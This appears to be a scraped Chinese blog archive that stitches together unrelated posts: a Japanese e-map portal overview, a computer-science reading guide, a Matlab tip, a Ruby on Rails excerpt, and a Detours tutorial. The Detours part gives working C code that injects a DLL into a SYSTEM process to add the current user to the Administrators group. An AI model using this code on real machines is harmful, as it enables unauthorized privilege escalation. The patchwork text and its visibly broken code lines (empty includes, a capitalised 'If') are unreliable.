http://portal.cyberjapan.jp/sample/index.html

http://portal.cyberjapan.jp/sample/index.html
一个教你如何制作日本电子地图的网站。

電子国土って何？

あなたが集めた街の名所、釣りの穴場、富士山が素敵に見える場所。そんな情報を地図に載せて地域の人、あるいは全国の人と分かち合いたいと思いませんか。あなたの素敵な情報を待っている人がいます。沢山の個人や組織が、同じインターネット地図に載せて発信した情報で、地域のいろいろなことがわかる。そうやって出来たサイバー国土が「電子国土」です。そんな社会の実現を目指して、「電子国土Webシステム」を提供しています。「電子国土Webシステム」を使って、私たちと一緒に「電子国土」をつくりませんか。

まずは、「電子国土ポータル」へ

電子国土ポータルサイトは電子国土の総合案内所です。ここでは、全国の行政機関や教育機関、公益法人などが発信中の「電子国土」を見る事ができます。また、「電子国土」を自分で作って情報を発信したい方のために、ソフトウェア、ツール、技術情報を提供しています。

Ｉ 全国から発信している「電子国土サイト」を見ることができます。

II 「電子国土」は日本全国の地図を自由に見ることができます。また、検索や簡単な作図機能を用意しています。

III 電子国土サイトサンプル集では、ソフトウェア、ツール、技術情報をわかりやすく解説しています。必要なサンプルを組み合わせ利用していただけます。

サンプルを組み合わせて

だれでも使っていいの？

電子国土Webシステムはどなたでも、無償で利用できます。また、HTMLとJavaScriptの知識があれば、どなたでも「電子国土」サイトを作れます。Webページはもちろん、イントラネットでも利用できます。ただし、公開・非公開を問わず、電子国土サイトを作った場合には、こちらからお知らせください。

電子国土Webシステムのしくみ

Web上で地図を使って情報発信するためには、GISソフトウェアや背景となる地図の準備が必要です。しかし、それらの購入や地図データの維持管理にはそれなりの費用がかかります。「電子国土Webシステム」では、国土地理院が無償提供するプラグインを使って、見る人のパソコンで、あなたが発信する情報と国土地理院が発信する背景地図を重ねて表示してくれるので、GISソフトや背景地図の準備がいりません。背景地図は、国土地理院が日々更新していますので維持管理の必要もありません。

従来の地理情報発信サイト

電子国土Webシステムのしくみ

背景となる地図データの特徴

IV 誰でも利用できる重ね合わせ情報を登録・検索し、相互に利活用できます。

電子国土では、様々なサイトが地理情報を発信しています。そのため、電子国土では、地理情報を交換するための標準である地理情報標準のプロファイルの一つである「電子国土プロファイル」に従ってデータを発信していただくことにしています。「電子国土プロファイル」は、点型、線型、面型、円型、注記型のデータについて決めています。この地理標準に則った重ね合わせデータを用意することで、情報発信者相互にデータを利活用できます^※。それは地理的に分散して存在していても問題ありません。

情報発信者が分散していても一画面で集約して参照できます

※重ね合わせ情報の相互活用については、情報発信者の許諾が　必要な場合がありますのでご注意ください。

現在登録されている重ね合わせ情報は、電子国土ポータルのトップページからご覧いただけます。なお、直接重ね合わせ情報をご覧いただくにはこちらからどうぞ。これらの重ね合わせ情報は、電子国土Webシステムを通し、どなたでも利用可能です。

利用方法については電子国土ポータルの「電子国土サイトを作る」等をご参照ください。


また、重ね合わせ情報をご利用になる場合の注意事項については「電子国土ポータルサイトへの重ね合わせ情報の掲載に関する利用規約」をご覧ください。

もっとわかりやすく解説してくれませんか？

電子国土Webシステム導入ガイドではアニメーションを利用して、電子国土についての基本的な説明をしています。どうぞ、ご利用ください。

免费的地域信息 – 免费的日本路线（轨道交通）信息

Ekidata.jp 駅データ 無料ダウンロード サービス 『駅データ．ｊｐ』
信息的层次：
1. 主要信息
エリアマスター
都道府県マスター
鉄道概要マスター
沿線マスター

2. 详细的站点信息
站点的相关信息。

多线交叉的站点的信息（换乘车站）

读我们的学科——计算机专业学习浅谈

（北理计算机学院新闻社《九歌》专栏文章）

作者：林健

一、广泛了解，从科普书籍开始

　　选择计算机专业的同学，也许是因为原先有一定的基础，也许是因为一时的激情，但更多的人，可能对自己的选择没有深刻的认识，或多或少对计算机专业有一些神秘的感觉。自己究竟是否喜欢这个学科？才华能够在哪个分支领域有所施展？抑或是真的不适合这个专业？诸多疑问，解决的方法首先便是了解和认识我们的学科。浓厚的兴趣是学好任何学科的源泉；而广泛的了解则是获得兴趣的途径。当今我们对于信息的获取已非难事，其中“阅读”是一个简洁而有效的方法。

　　也许你认为阅读专业书籍对于刚刚步入大学的自己来说有点困难，也很枯燥，那么不妨先从科普书籍看起。科普书籍是了解理论、获得应用知识最好的途径。相信不少理工科的同学被量子物理和相对论搞得头昏脑胀过。究其原因，是我们的现实生活与抽象的数学模型之间存在思想意识上的鸿沟。然而要是读读斯蒂芬·霍金的《时间简史》，你就会被书中有趣的故事和例证所吸引，从而对抽象的理论有了感性的认识——即使仍然没有读懂，你也至少了解了这个学科研究的领域和目标是什么，也必然有所收获。所有理工学科都有这样的性质，计算机专业也不例外。

　　我们知道，计算机理论是建立在数学基础之上的。大学计算机专业对数学的要求较高，其重要性不必多言。数学令不少同学头痛，除了其“繁”与“难”外，很大程度上是因为他们没有理解这些抽象理论的实际应用方向。与本科数学专业的课程设置相比，计算机专业的数学课程大都偏重实用性。比如我们的离散数学课程中涉及到的逻辑代数奠定了计算机一切运算的基础，形式语言构成了计算机程序编译的模型，代数系统则是当前各类数据库系统的理论依据等等。因此，如果能够提前地了解到并简单地学习一下这些数学知识的具体应用，对理解理论是很有益处的。此外，电子学、信号与系统、控制理论等也是计算机专业学生必修的公共课，然而不少同学往往认为它们与计算机专业的关系不大，从而放松了学习。事实上这些学科是计算机硬件与网络通信的基础，学好这方面知识的前提是认识它们的现实应用及其与计算机的密切联系。

　　也许你将来学习图论的时候，对“欧拉路”的概念会很清晰，这是因为你在小时候的图画书上玩过“一笔画”的游戏；然而“二分图”、“生成树”这些概念又是怎么回事呢？你的理解可能就不是那么深刻了——因为你一时难以找到一些生活中的实例，并从中抽取出特性。在这种情况下，翻阅一些涉及这些知识的科普书籍就十分有必要了。我曾读过一套《数学游戏》（《科学美国人》杂志汇编，中文版：科学技术文献出版社），它将图论、逻辑代数、自动机理论等领域的抽象的概念具体化为一个个有趣的故事，引导读者了解这些知识的现实应用，启发读者将抽象思维与感性生活有机结合。我还读过一本《编码的奥秘》（《CODE》，中文版：机械工业出版社），它则将逻辑代数、数字电路、汇编语言等知识以实物和简单电路的形式进行类比，揭示其中的原理，并引导读者动手实践。事实上这类与计算机专业相关的科普书籍还有很多，在学习课本的间隙阅读一下，绝对能起到催化剂的作用。

　　谈到科普书籍，相关的另一个问题便是计算机科学与计算机技术之间的关系。也许不少同学选择计算机专业，是源于对计算机令人眼花缭乱的应用的认识。所谓计算机技术，一般是指包括文字处理、信息管理、多媒体、网站建设等在内的计算机应用技术；而所谓计算机科学，一般指数据结构、组成原理、操作系统、编译原理等计算机内部实现机制。前者是计算机在各行各业提高生产力的体现，属于各类职业教育和专科教育的范畴；而后者是研究是计算机本身的理论，是本科计算机教学的重点。市面上大多数计算机书籍与杂志是计算机应用技术方面的，属“技术普及型”，从受众角度来看与科普书籍有着类似的性质。适当地涉猎一些自己感兴趣的应用技术，对培养学习兴趣、增强实践能力、了解业界行情是很有好处的。不过如果确实想在计算机行业长期做下去，仍然应当将主要精力放在对计算机科学的学习方面。毕竟用科学的理论指导实践是大学教育的意义所在。

　　总之，广泛了解计算机学科基础科普知识，在今后学习具体理论的时候才会少一些盲目，多一些顿悟。

二、把握全局，学习计算机导论

　　当你对计算机学科涉及的领域有所了解后，就应该着手展开专业学习了。初读本专业的教学计划与课程设置，你或许会被诸如离散数学、编译原理、接口技术等生疏的课程名称弄得一头雾水。这些课程都是研究什么的？它们各自与我们面前的计算机有哪方面的联系？要回答这类问题，首先需要把握全局，从整体上认识计算机科学。

　　国内高等院校一般都为大一学生开设计算机基础课程。这类课程的受众面广，主要涉及计算机基础应用知识。各种版本的计算机基础教程几乎都以计算机科学导论作为开篇。对于把计算机作为应用工具的其他专业的学生而言，导论只算是“内容概要”，他们往往更注重后面的应用型知识；而对于把计算机作为研究对象的我们，则决不能忽略这类指导性的内容。专门地、有意识地学好计算机科学导论，能够使你对计算机科学有一个大局观，清楚地认识到每一个分支学科的研究领域与重要意义，从而在今后的具体学习中明确方向，加深理解。

　　依我个人的学习经验，建议初学者阅读一些国外优秀计算机基础与导论教材。与国内大多数讲解软硬件具体使用的同类教材相比，国外教材更偏重以应用为切入点，深入浅出地阐述计算机科学原理。诸如《计算机文化（第8 版）》（《New Perspectives on Computer Concepts》，中文版，机械工业出版社）、《计算机科学导论》（《Foundations of Computer Science: From Data Manipulation to Theory of Computation》，中文版，机械工业出版社）：前者适合于各种信息类专业的学生或计算机爱好者阅读。该书图文并茂，语言生动，从应用角度出发，广泛涉及计算机软件、硬件、网络的基本原理，同时概述了计算机学科的历史背景与行业现状。随书的光盘中给出了不少影音材料，在学习的同时还可以提高计算机专业英语听说能力。后者在风格上与前者类似，但内容更适合计算机专业学生阅读，被美国不少高校定为计算机专业学生的入门课。它以实例作为出发点，系统地讲解了计算机组成、计算机网络、操作系统、数据结构、算法设计等分支学科的研究领域、基本原理和应用方向，而几乎不涉及晦涩的数学模型与实现细节。阅读此类书籍，可以在潜移默化中理清初学者对于计算机科学学习的思路。

　　计算机科学是一个有机联系的整体，每个分支都或多或少地与其它分支存在依赖关系。如果死板地依照教学计划线性地进行学习，往往会遇到知识理解上的问题。例如算法分析课程与程序设计课程分属理论与实践；组成原理课程与体系结构课程是对计算机系统不同层面的剖析。我们不能简单地找出它们的先修、后修关系，这样难以建立完整的知识体系。因此在把握大局之后，我们仍有必要简单了解一下每个分支学科的基础知识。在这方面，推荐大家阅读《编程卓越之道（第一卷）：深入理解计算机》（《WRITE GREAT CODE: Volume 1:Understanding the Machine》，中文版，电子工业出版社）这本书。分开来看每一章节，其内容编排结构与国内高校计算机课程体制相近，涵盖了逻辑代数、数字电路、机器指令、体系结构、存储器管理等方面的基础知识和实现方法，特别是阐明了各个分支学科之间的本质联系。有了这些基础之后，在遇到更高阶的问题时，你至少会明白这个问题应该在哪个分支学科中寻找答案了。

　　当你有了一定的计算机理论基础，尤其是程序设计基础后，想更加深入地把握计算机科学的脉络，不妨看看这本书：《深入理解计算机系统（修订版）》（《Computer Systems A Programmer's Perspective》，中文版，中国电力出版社）。它与《编程卓越之道》系列的共同特点是从程序员的视角观察计算机系统。而这本书作为国外数十所高校的计算机系统导论教材，其组织更加严密，风格更加严谨。它以“程序在计算机中如何执行”为主线，全面阐述计算机系统内部实现的诸多细节。当你在学习数据结构、组成原理和体系结构等课程和时候，翻阅一下此书的相应章节，同时编程实现其中的例子，一定会对课本上单纯的文字型理论有更加感性的认识——原来它们是这样活生生地存在于我的计算机里的！

　　正所谓“会当凌绝顶，一览众山小”，从计算机科学全局的高度整体把握其分支学科，在头脑中率先构建计算机科学的整体框架并为其夯实最基层的结构，就能够为你在未来每一步的学习中扫清迷雾，指明方向。

三、运筹帷幄，掌握编程的思想

　　程序设计与开发是计算机学习的一个关键环节，编程能力是衡量一名计算机专业人员素质的重要考核点。这是因为程序是连接理论与实践的纽带，是计算机科学与计算机技术相交融的领域。作为一名计算机专业学生，我们一方面有别于其它专业将计算机作为工具的应用型人才，不能仅仅利用计算机，而要为他人利用计算机提供平台；另一方面我们暂时达不到计算机科学家的水平，不能做出理论研究成果，但能为理论学习铺垫实践基础。因此，只有具备足够的程序设计与开发能力，才能真正体现我们的智慧，同时充分发挥计算机的潜力。

　　学习编程，首先应掌握至少一门程序设计语言。C语言作为一种语法清晰、功能强大、应用广泛的高级语言，长期以来被国内大多数高校的定为程序设计必修课。全面理解和掌握C语言的脉络的重要意义这里毋庸多言。市面上C语言的教程多如牛毛，但最经典的当数C语言的设计者Kernighan与Ritchie合著的权威白皮书——《C程序设计语言（第2版）》（《The C Programming Language》，中文版，机械工业出版社）。书虽不厚，但绝对全面而准确。其语言简洁，例证通俗，实用性强。相比之下国内的一些C语言教材在学习曲线可能比前者平滑，但它们往往以考试为导向，过多地纠缠语法死角，同时大都未遵从ANSI标准。对于计算机专业学生来说，前者能够让我们看到更加严谨与实务的态度。当你的语言功底达到一定程度后，就需要从一个更高的视角来探察语言的本质，不妨看看这本：《计算机程序的构造和解释（第2版）》（《Structure and Interpretation of Computer Programs》，中文版，机械工业出版社）。它阐述了编程语言本身的机制与实现，同时引入了一门对于大多数中国学生来说不甚了解的语言——LISP。 LISP是很多美国高校计算机专业的入门语言，也是一种结构上与C、Pascal、Java、Basic等完全不同的非冯·诺依曼语言。研读SICP，体味LISP，给你耳目一新的感觉之后更多地可以加深对编程思想本质的理解。

　　大学的各类程序设计与开发课程旨在培养我们两方面的能力—— 算法设计能力与应用开发能力。前者偏重计算机科学，后者偏重计算机技术。算法是用计算机思维解决现实问题的理论，具有较强的数学性。算法学的旷世巨著应数 Knuth的《计算机程序设计艺术》（《The Art of Computer Programming》，中文版，清华、机工、国防等出版社皆有授权），不过要彻底读懂这个大部头需要相当的数学理论基础与编程实践经验积累。对于初学者，建议首先培养使用常规算法解决小规模问题的能力，并行地提高驾驭语言的水平与抽象问题的思维。针对这个目的，结合程序设计实践一类的课程，可以读读这几本书：《编程珠玑（第2版）》（《Programming Pearls》，中文版，中国电力出版社）、《程序设计实践》（《The Practice of Programming》，中文版，机械工业出版社）、《代码阅读方法与实践》（《Code Reading: The Open Source Perspective》，中文版，清华大学出版社）、《C专家编程》（《Expert C Programming》，中文版，人民邮电出版社）。它们的侧重点各有不同，但对于通过实践来学习算法与数据结构都是很有益处的。

　　应用开发方面，实践是第一要务，然而高效的实践是建立在科学的程序设计方法之上的。以C语言为代表的结构化程序设计方法是规范的程序逻辑的基础，目前主要使用在系统级开发中，前面所提到的诸多书籍都或多或少有所涉及。而以Java、C++为代表的面向对象程序设计方法广泛应用于实用项目开发，这方面的经典之作中，推荐阅读Bruce Eckel的《Java编程思想（第3版）》（《Thinking in Java》，中文版，机械工业出版社）与《C++编程思想（第2版）》（《Thinking in C++》，中文版，机械工业出版社）。此外软件架构设计、编码规范与风格、代码除错与质量管理以及软件工程的各类原则在实际项目开发中都是及其重要的，在具备了一定的编程经验、准备投入一些实际项目开发的时候务必要了解。建议阅读《代码大全（第2版）》（《Code Complete》，中文版，电子工业出版社）这本大而全的软件构建综合性宝典，它在从总体上指导软件开发的各个环节的同时也引入了一些细节问题（诸如 goto的使用）的讨论，引导我们对一些司空见惯的程序设计理念不但要知其然，而且要知所以然。

　　有一位热衷于游戏的同学告诉我，游戏给予他满足控制欲的空间。但是请放眼看看，游戏的控制范围不外乎一个特定进程中他人预先设定好的一系列数据，并以有限的图像与声音形式体现出来。然而如果你掌握了编程这一强大的武器，就能够面对眼前的计算机游刃有余，在硬件条件允许的情况下尽你所能将控制欲升华为创造力，方便自己的同时造福他人。运筹帷幄，掌握编程的思想，无论走向科学研究或是应用开发，这都将为你奠定坚实的基础！

四、理性思辨，体味计算机哲学

　　Bill Gates对计算机事业充满激情——“每天早晨醒来，一想到所从事的工作和所开发的技术将会给人类生活带来的巨大影响和变化，我就会无比兴奋和激动。”自由软件运动的精神领袖Richard Stallman几十年如一日，将打破知识垄断、共享人类智慧作为己任，带领着数以万计的软件志愿者推动着开源世界的发展。但并非每个计算机业者都能有 Gates那样豪迈的气度和Stallman那种坚定的信仰，计算机及其相关技术对于大多数业者来说仅仅是兴趣爱好或者谋生的工具。计算机行业半个多世纪以来形成了其独有的文化氛围，作为一名计算机专业学生，了解专业文化，体味专业哲学，对于学习和从业都是具有指导意义的。

　　首先必须承认，计算机世界中存在着形形色色的意识理念差异。诸如微软帝国与开源世界的明争暗斗，不仅仅是一场商战，更多的是两种哲学的搏击。当代大学生多数是在微软 Windows光环照耀下认识计算机的。在这种环境下，多接触一些开源世界的事物，对于理解计算机的本质不无裨益。《共创未来：打造自由软件神话》（《Free for All: How Linux and the Free Software Movement Undercut the High-Tech Titans》，中文版，上海科技教育出版社）是一本讲述开源世界发展史的书，你可以从中了解自由软件运动及其领袖人物的传奇故事，从而对GNU、 Linux、OpenSource这些概念蕴生人性化的理解。清华大学王垠的《完全用GNU/Linux工作，摈弃Windows——你我共勉》、兰州大学黄平的《自由，你忘记了吗？》等长篇文章则是国人对开源运动的慷慨陈辞。尽管这些文章常常被指为“偏激”，但没有调查就没有发言权，无论支持还是反对，客观的认识是第一位的。

　　其次，我们应该用平和的心态对待知识与技术，衡准专业学习在生活中的位置。一些同学出于种种原因，成为了“先进技术”的追随者：通晓各类流行的编程语言，一有新版本的工具推出立即安装学习，一有新的技术论战立即关注其走向。还有一些同学成为了某些技术的忠实信徒：看准了Java就对.NET的东西置之不理。这些追随者和信徒们往往为突飞猛进的技术所累，以至于有感于学习的空虚。过分追捧技术可谓舍本逐末，死扣某一知识也显得目光短浅。一方面百变的技术离不开计算机科学的本源，在实践过程中深入理解基础知识是关键；另一方面任何技术都有统领其实现细节的思想精髓，观其形不如知其神。我们不妨甩开冗繁的技术，换个角度静下心来读几部计算机文化与哲学作品：

　　程序人生方面：《编程之道》（《The Tao of Programming》，双语版，电子工业出版社）一书出自一位对东方道家与禅宗思想有着独特理解的美国软件工程师之手，全书由一则则短小而富有哲理故事组成，以类似寓言的形式生动地反映了程序员群体的生活以及计算机文明的演进。闲暇时随手翻阅，即使不能立刻体会到每个故事的真谛，但随着自身阅历的增长，相信你会领悟程序人生的“道法自然”。

　　设计理念方面：开源软件界的“斗士”级元老Eric Raymond所著的《Unix编程艺术》（《The Art of Unix Programming》，中文版，电子工业出版社）一书，以Unix系统的设计原则为主线，展示了Unix所开启的“KISS”（Keep It Simple, Stupid!）编程文化与思维方式。对于很多干啃千篇一律的课本、禁锢于Windows开发的计算机专业学生来说，这本书一定能够使你眼界大开——“结构化”并非真理，“面向对象”也不是王道；而对于有一定Unix/Linux使用或开发经验的同学，这本书也一定会使你豁然明朗——原来一个程序的设计竟可以如此精巧！

　　管理哲学方面：对于有志于软件工程，想涉足项目管理的同学，《人月神话》（《The Mythical Man-Month》，中文版，清华大学出版社）这本书就有必要读一读了。它拿真实案例说事，仿佛一部实例化的软件工程课本。如果你在团队开发的道路上陷入了困境，不如参考一下前辈们是如何处理“人”与“月”二者之矛盾的吧。事实上不仅是软件工程，任何事业的成功，往往技术不是关键，社会科学的因素才是埋头技术的朋友们更应当关注的。

　　归根结底，计算机的哲学依旧是人的哲学。抛开理念之争议，超越技术的形式，以人为本地认识我们的行业与自身的地位，或许会使将来的发展道路走得更舒心一些。

Default parameters for Matlab function:Matlab函数的默认参数

在C语言中可以定义有默认参数的函数，如 func(int a, int b=1);
在Matlab中不能如上简单的定义，而是在函数体内通过判断nargin的大小来为参数赋默认值，如
function value=func(a,b)
if nargin<2
b=1
end
value=a+b;

就这些！

优化集成软件的一个报告

Detours

用DETOURS库获取NT管理员权限
陈志敏
---- Detours是微软开发的一个函数库（源代码可在http://research.microsoft.com/sn/detours 免费获得）, 用于修改运行中的程序在内存中的影像，从而即使没有源代码也能改变程序的行为。具体用途是：

拦截WIN32 API调用，将其引导到自己的子程序，从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程，装入自己的代码并运行。
---- 本文将简介Detours的原理，Detours库函数的用法， 并利用Detours库函数在Windows NT上编写了一个程序，该程序能使有“调试程序”的用户权限的用户成为系统管理员，附录利用Detours库函数修改该程序使普通用户即可成为系统管理员（在NT4 SP3上）。

一． Detours的原理

---- 1． WIN32进程的内存管理

---- 总所周知，WINDOWS NT实现了虚拟存储器，每一WIN32进程拥有4GB的虚存空间， 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册， 以下仅指出与Detours相关的几点：

---- (1) 进程要执行的指令也放在虚存空间中
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行，再改写其内容，从而修改正在运行的程序
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码

---- 2． 拦截WIN32 API的原理

---- Detours定义了三个概念：

---- (1) Target函数：要拦截的函数，通常为Windows的API。
---- (2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。
---- (3) Detour 函数：用来替代Target函数的函数。

---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数， 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下：

拦截前：Target _ Function：
；Target函数入口，以下为假想的常见的子程序入口代码
push ebp
mov ebp, esp
push eax
push ebx
Trampoline:
；以下是Target函数的继续部分
……

拦截后： Target _ Function：
jmp Detour_Function
Trampoline:
；以下是Target函数的继续部分
……

Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push ebp
mov ebp, esp
push eax
push ebx
；跳回去继续执行Target函数
jmp Target_Function+5
---- 3． 为一个已在运行的进程装入一个DLL

---- 以下是其步骤：

---- (1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。
---- (4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。

二． Detours库函数的用法

---- 因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。

---- 1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

---- 功能：从一DLL中找出一函数的入口地址
---- 参数：pszModule是DLL名，pszFunction是函数名。
---- 返回：名为pszModule的DLL的名为pszFunction的函数的入口地址
---- 说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。

---- 2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
---- 功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。

---- 3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
---- 功能：用Detour 函数拦截Target函数
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。

---- 4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
---- 功能：恢复Target函数
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。

---- 5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
---- 功能：为一个已在运行的进程装入一个DLL
---- 参数：hProcess是进程的句柄，lpDllName是要装入的DLL名

三． 程序实例

---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。

---- 先编写相应的DLL：

/*admin.dll, 当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。*/

#include
#include
#include
#include

/*以下创建一共享段实现进程间的数据通讯，
szAccountName 是用户名，bPrepared说明
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序调用SetAccountName设置要加入到Administrators
本地组的用户名，并通知DllMain
已初始化szAccountName ，
以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}

/*把名为szAccountName的用户加入
到Administrators本地组*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"Administrators",
3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
DWORD dwReason, PVOID lpReserved)
{
switch (dwReason) {
case DLL_THREAD_ATTACH:
if (bPrepared)
ElevatePriv();
}
return TRUE;
}

程序如下：

/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地组。使用方法为：（1）
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID （2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID （3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名称*/

void GetCurrentUser(wchar_t *szName)
{
HANDLE hProcess, hAccessToken;
wchar_t InfoBuffer[1000],szAccountName[200],
szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200,
dwDomainSize = 200;
SID_NAME_USE snu;

hProcess = GetCurrentProcess();

OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

GetTokenInformation(hAccessToken,TokenUser,
InfoBuffer,
1000, &dwInfoBufferSize);

LookupAccountSid(NULL, pTokenUser->User.Sid,
szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
wcscpy(szName,szDomainName);
wcscat(szName,L"\");
wcscat(szName,szAccountName);
}

/* EnablePrivilege启用自己的“调试程序”的用户权限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
LPSTR lpszCmdLine, int
nCmdShow)
{
INT argc;
WCHAR **argv;
argv = CommandLineToArgvW(GetCommandLineW(),
&argc);
INT nProcessId = -1;
if (argc!=2){
wprintf(L"usage %s pid", argv[0]);
return 1;
}
nProcessId = _wtoi(argv[1]);
printf("%d ",nProcessId);
---- /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/

if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
printf("AdjustTokenPrivilege Fail %u ",
(UINT)GetLastError());
return 1;
}
HANDLE gNewHandle =
OpenProcess(PROCESS_ALL_ACCESS
, TRUE, nProcessId);
if (!gNewHandle){
printf("OpenProcess Fail %u ",
(UINT)GetLastError());
return 1;
}
wchar_t szName[100];
GetCurrentUser(szName);
SetAccountName(szName);
If (!ContinueProcessWithDll(gNewHandle,
L"c:\temp\admin.dll")) {
printf("ContinueProcessWithDll failed %u",
(UINT)GetLastError());
return 3;
}
return 0;
}
---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限，只能授予给可信用户。

四． 结论 ---- Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。

使用 Ruby on Rails 快速开发 Web 应用程序

http://www.ibm.com/developerworks/cn/linux/l-rubyrails/
http://www.rubyonrails.org/
这里是IBM Develop Network中的一篇文章
David Mertz, Ph.D. (mailto:mertz@gnosis.cx?subject=使用), 开发人员, Gnosis Software
2005 年 7 月 04 日
虽然还是测试版本，但 Ruby on Rails 已经成为进行 Web 应用程序开发的一个新途径。Rails 的成功之处在于能够自动化大部分常见类型的 Web 应用程序的创建，而且在您希望添加定制或者有特殊要求时，并不会受到限制。不仅如此，同那些只能完成 Web 应用程序单方面需求的自由软件（Free Software）库相比，Rails 包含了非常完整的一套工具。
Ruby on Rails 正在令整个 Web 开发领域受到震憾。让我们首先了解底层的技术：
Ruby 是一门免费的、简单的、直观的、可扩展的、可移植的、解释的脚本语言，用于快速而简单的面向对象编程。类似于 Perl，它支持处理文本文件和执行系统管理任务的很多特性。
Rails 是用 Ruby 编写的一款完整的、开放源代码的 Web 框架，目的是使用更简单而且更少的代码编写实际使用的应用程序。
作为一个完整的框架，这意味着 Rails 中的所有的层都是为协同工作而构造的，所以您不必自己再重复，可以完全只使用一门单一的语言。在 Rails 中，所有内容（从模板到控制流再到业务逻辑）都是用 Ruby 编写的。Rails 支持基于配置文件和注释的反射（reflection）和运行时扩展。
本文详细介绍了 Rails 的组成部分，并介绍了它的工作原理。
Rails 介绍
关于 Rails，首先需要理解的是它的模型/视图/控制器（model/view/controller，MVC）架构。虽然这种技术不是 Rails 所特有的 —— 甚至不是 Web 应用程序所特有的（相对于其他程序），但是 Rails 具有非常清晰而专一的 MVC 思维方式。如果您并不使用 MVC 方法，那么 Rails 的用处将大为降低（与遵循其模式的情况相比）。
模型
Rails 应用程序的模型部分主要是它所使用的底层数据库。实际上，在很多情形中 Rails 应用程序正是以一种受管理的方式对关系型数据库管理系统（RDBMS）中的数据执行操作的一个途径。
ActiveRecord 类是 Rails 的一个核心组成部分，它将关系型表映射为 Ruby 对象，使其成为控制器可以操作并能在视图中显示的数据。Rails 应用程序特别倾向于使用广为应用的 MySQL 数据库，不过也有与很多其他 RDBMS 的绑定，比如 IBM? DB2?。
